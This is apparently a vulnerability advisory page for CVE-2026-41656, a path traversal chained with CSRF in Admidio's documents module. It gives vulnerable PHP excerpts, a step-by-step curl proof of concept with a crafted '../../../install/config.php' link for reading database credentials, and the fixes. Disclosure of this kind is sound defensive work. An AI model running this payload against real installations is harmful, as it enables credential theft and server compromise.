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Admidio EUVDEUVD-2026-28265

| CVE-2026-41656 MEDIUM
Path Traversal (CWE-22)
2026-04-29 https://github.com/Admidio/admidio GHSA-m9h6-8pqm-xrhf
4.5
CVSS 3.1 · GitHub Advisory
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Severity by source

GitHub Advisory PRIMARY
4.5 MEDIUM
AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Lifecycle Timeline

4
Source Code Evidence Fetched
Apr 29, 2026 - 22:15 vuln.today
Analysis Generated
Apr 29, 2026 - 22:15 vuln.today
Analysis Generated
Apr 29, 2026 - 22:00 vuln.today
CVE Published
Apr 29, 2026 - 21:42 nvd
MEDIUM 4.5

DescriptionGitHub Advisory

Summary

The add mode in modules/documents-files.php accepts a name parameter validated only as 'string' type (HTML encoding), allowing path traversal characters (../) to pass through unfiltered. Combined with the absence of CSRF protection on this endpoint and SameSite=Lax session cookies, a low-privileged attacker can trick a documents administrator into clicking a crafted link that registers an arbitrary server file (e.g., install/config.php containing database credentials) into a documents folder accessible to the attacker.

Details

Root cause - incorrect input validation type (modules/documents-files.php:222):

php
case 'add':
    $getName = admFuncVariableIsValid($_GET, 'name', 'string');

The 'string' type in admFuncVariableIsValid() only applies SecurityUtils::encodeHTML(StringUtils::strStripTags($value)) (system/bootstrap/function.php:414-416). Since ../ contains no HTML special characters (<, >, &, ", '), path traversal sequences pass through unchanged.

The correct type would be 'file', which calls StringUtils::strIsValidFileName() (src/Infrastructure/Utils/StringUtils.php:217-236). This function checks basename($filename) !== $filename at line 228, which would reject any path containing directory separators.

Missing CSRF protection (modules/documents-files.php:221-238):

php
case 'add':
    $getName = admFuncVariableIsValid($_GET, 'name', 'string');

    if (!$gCurrentUser->isAdministratorDocumentsFiles()) {
        throw new Exception('SYS_NO_RIGHTS');
    }

    $folder = new Folder($gDb);
    $folder->readDataByUuid($getFolderUUID);
    $folder->addFolderOrFileToDatabase($getName);
    // ...

No SecurityUtils::validateCsrfToken() or form object validation. Compare with folder_delete (line 140) and file_delete (line 170) which both validate CSRF tokens. The add action operates entirely via GET parameters.

Unsafe path construction (src/Documents/Entity/Folder.php:121-135):

php
public function addFolderOrFileToDatabase(string $newFolderFileName): void
{
    $newFolderFileName = urldecode($newFolderFileName);
    $newObjectPath = $this->getFullFolderPath() . '/' . $newFolderFileName;
    // ...
    if (is_file($newObjectPath)) {
        $newFile = new File($this->db);
        $newFile->setValue('fil_fol_id', $folderId);
        $newFile->setValue('fil_name', $newFolderFileName);  // traversal stored in DB
        // ...
        $newFile->save();
    }
}

No realpath() comparison or basename() check. The traversal filename (e.g., ../../../install/config.php) is stored verbatim as fil_name in the database.

File served on download (src/Documents/Entity/File.php:88-91, src/Documents/Service/DocumentsService.php:68-119):

php
// File.php:88-91
public function getFullFilePath(): string
{
    return $this->getFullFolderPath() . '/' . $this->getValue('fil_name', 'database');
}

// DocumentsService.php:75-118
$completePath = $file->getFullFilePath();  // reconstructs traversal path
// ...
readfile($completePath);  // serves arbitrary file

SameSite=Lax allows cross-site GET (src/Session/Entity/Session.php:544):

php
'samesite' => 'lax'

Top-level GET navigations from cross-site origins include the session cookie, enabling the CSRF attack vector.

PoC

Prerequisites: Attacker has a regular user account with access to the documents module. A documents administrator is available to be social-engineered.

bash
# Step 1: As regular user, browse the documents module to obtain a public folder UUID
curl -b 'attacker_session' 'https://target.com/modules/documents-files.php?mode=list'
# Note a folder_uuid from the response, e.g., "550e8400-e29b-41d4-a716-446655440000"
# Step 2: Craft a link targeting install/config.php (adjust ../ depth for folder nesting)
# For a folder at adm_my_files/documents/Photos/, use three levels:
PAYLOAD_URL='https://target.com/modules/documents-files.php?mode=add&folder_uuid=550e8400-e29b-41d4-a716-446655440000&name=../../../install/config.php'
# Step 3: Send this link to a documents administrator (email, chat, etc.)
# When the admin clicks it, the server's install/config.php is registered in the Photos folder
# The admin sees a redirect back to the documents page (normal behavior)
# Step 4: As attacker, list the folder to find the new file entry
curl -b 'attacker_session' 'https://target.com/modules/documents-files.php?mode=list&folder_uuid=550e8400-e29b-41d4-a716-446655440000'
# The traversal file appears in the listing with its file_uuid
# Step 5: Download the file using its UUID
curl -b 'attacker_session' 'https://target.com/modules/documents-files.php?mode=download&file_uuid=<FILE_UUID>'
# Response contains the contents of install/config.php, including:
# $g_adm_srv  (database host)
# $g_adm_usr  (database username)
# $g_adm_pw   (database password)
# $g_adm_db   (database name)

Impact

  • Arbitrary server file read: An attacker can read any file on the server that the web server process has read access to, including install/config.php (database credentials), /etc/passwd, application source code, and other configuration files.
  • Database credential exposure: The primary target install/config.php contains plaintext database credentials, enabling direct database access and full compromise of the Admidio installation.
  • Low attack complexity: The CSRF vector requires only that an admin clicks a single link - no JavaScript, no form submission, no special browser behavior.

Recommended Fix

Fix 1 - Use 'file' validation type for the name parameter (modules/documents-files.php:222):

php
// Before (vulnerable):
$getName = admFuncVariableIsValid($_GET, 'name', 'string');

// After (fixed):
$getName = admFuncVariableIsValid($_GET, 'name', 'file');

This invokes StringUtils::strIsValidFileName() which checks basename($filename) !== $filename and rejects any path containing directory traversal.

Fix 2 - Add CSRF protection to the add mode (modules/documents-files.php:221-238):

Change the add action from GET to POST and add CSRF token validation:

php
case 'add':
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
    $getName = admFuncVariableIsValid($_POST, 'name', 'file');

    if (!$gCurrentUser->isAdministratorDocumentsFiles()) {
        throw new Exception('SYS_NO_RIGHTS');
    }

    $folder = new Folder($gDb);
    $folder->readDataByUuid($getFolderUUID);
    $folder->addFolderOrFileToDatabase($getName);
    // ...

Fix 3 (defense in depth) - Add path canonicalization in addFolderOrFileToDatabase() (src/Documents/Entity/Folder.php):

php
public function addFolderOrFileToDatabase(string $newFolderFileName): void
{
    $newFolderFileName = urldecode($newFolderFileName);
    $newObjectPath = $this->getFullFolderPath() . '/' . $newFolderFileName;

    // Ensure the resolved path is within the folder directory
    $realPath = realpath($newObjectPath);
    $folderPath = realpath($this->getFullFolderPath());
    if ($realPath === false || !str_starts_with($realPath, $folderPath . '/')) {
        throw new Exception('SYS_FILENAME_INVALID');
    }
    // ... rest of method
}

All three fixes should be applied for defense in depth.

AnalysisAI

Path traversal in Admidio's document add mode allows authenticated attackers to register arbitrary server files into document folders via unvalidated name parameter, enabling arbitrary file read when combined with CSRF. A low-privileged user can trick a documents administrator into clicking a malicious link to register sensitive files like install/config.php (containing database credentials) into a publicly accessible documents folder, then download those files using the attacker's own session. The vulnerability chains insufficient input validation (accepts ../ sequences), missing CSRF protection on the add action, and SameSite=Lax cookies that permit cross-site GET requests from administrators.

Technical ContextAI

Admidio is a web-based user and group management system written in PHP. The vulnerability exists in modules/documents-files.php line 222, where the add mode uses admFuncVariableIsValid($_GET, 'name', 'string') to validate user input. The 'string' type applies only HTML encoding via SecurityUtils::encodeHTML() and StringUtils::strStripTags(), which do not filter path traversal sequences like ../ because those characters contain no HTML special characters. The correct validation type is 'file', which invokes StringUtils::strIsValidFileName() and calls basename($filename) !== $filename to reject directory separators. The vulnerable path is then passed to Folder::addFolderOrFileToDatabase() in src/Documents/Entity/Folder.php:121-135, which concatenates user input directly into file paths without realpath() validation or basename() checks. The traversal path is stored verbatim in the database as fil_name, and when files are downloaded via DocumentsService.php:68-119, the getFullFilePath() method reconstructs the traversal path and serves the arbitrary file via readfile(). The CSRF vector is enabled by SameSite=Lax session cookies (src/Session/Entity/Session.php:544), which allow cross-site GET requests from top-level navigations to include the administrator's session cookie, while the missing SecurityUtils::validateCsrfToken() call (present in folder_delete and file_delete actions) leaves the add action unprotected. The root cause is CWE-22 (Path Traversal) combined with CWE-352 (Cross-Site Request Forgery).

RemediationAI

Upgrade Admidio to version 5.0.9 or later immediately, as the vendor has released a patched version addressing all three root causes: corrected input validation type for the name parameter, addition of CSRF token validation on the add action, and path canonicalization checks in addFolderOrFileToDatabase(). If immediate upgrade is not possible, implement compensating controls: (1) Restrict the documents module to administrators only by disabling user access in the permission settings (trade-off: users cannot store or share documents); (2) Move or remove the install/ directory from the web root if installation has completed (no functional impact, recommended best practice); (3) Apply firewall rules to block access to modules/documents-files.php?mode=add from non-administrative IP ranges (trade-off: restricts legitimate use from certain locations); (4) Implement SameSite=Strict session cookie policy by modifying src/Session/Entity/Session.php:544 from 'lax' to 'strict' (trade-off: requires POST form submission for cross-site authenticated navigation, breaks some single sign-on flows). The vendor advisory is available at https://github.com/Admidio/admidio/security/advisories/GHSA-m9h6-8pqm-xrhf.

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EUVD-2026-28265 vulnerability details – vuln.today

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